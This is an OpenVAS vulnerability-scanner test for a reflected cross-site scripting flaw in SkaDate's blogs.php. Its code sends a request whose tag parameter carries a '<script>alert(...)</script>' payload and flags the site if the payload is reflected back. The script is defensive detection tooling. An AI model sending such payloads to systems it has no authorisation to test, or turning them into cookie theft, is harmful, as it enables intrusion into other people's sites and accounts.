SkaDate 'blogs.php' Cross Site Scripting Vulnerability

2011-09-22T00:00:00
ID OPENVAS:1361412562310103269
Type openvas
Reporter Copyright (C) 2011 Greenbone Networks GmbH
Modified 2020-05-06T00:00:00

Description

SkaDate is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

                                        
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# OpenVAS Vulnerability Test
#
# SkaDate 'blogs.php' Cross Site Scripting Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (C) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103269");
  script_version("2020-05-06T07:10:15+0000");
  script_tag(name:"last_modification", value:"2020-05-06 07:10:15 +0000 (Wed, 06 May 2020)");
  script_tag(name:"creation_date", value:"2011-09-22 13:43:24 +0200 (Thu, 22 Sep 2011)");
  script_bugtraq_id(49502);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_name("SkaDate 'blogs.php' Cross Site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49502");

  script_tag(name:"summary", value:"SkaDate is prone to a cross-site scripting vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary script code in
  the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal
  cookie-based authentication credentials and launch other attacks.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

vt_strings = get_vt_strings();

foreach dir( make_list_unique( "/blog", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  buf = http_get_cache(item:dir + "/index.php", port:port);
  if(!buf || buf !~ "^HTTP/1\.[01] 200" || (">SkaDate social networking software<" >!< buf && 'member/blogs.php"' >!<buf))
    continue;

  url = dir + "/blogs.php?tag=gamecat+<script>alert(/" + vt_strings["lowercase"] + "/)</script>";

  if( http_vuln_check( port:port, url:url, pattern:"<script>alert\(/" + vt_strings["lowercase"] + "/\)</script>", check_header:TRUE ) ) {
    report = http_report_vuln_url( port:port, url:url  );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );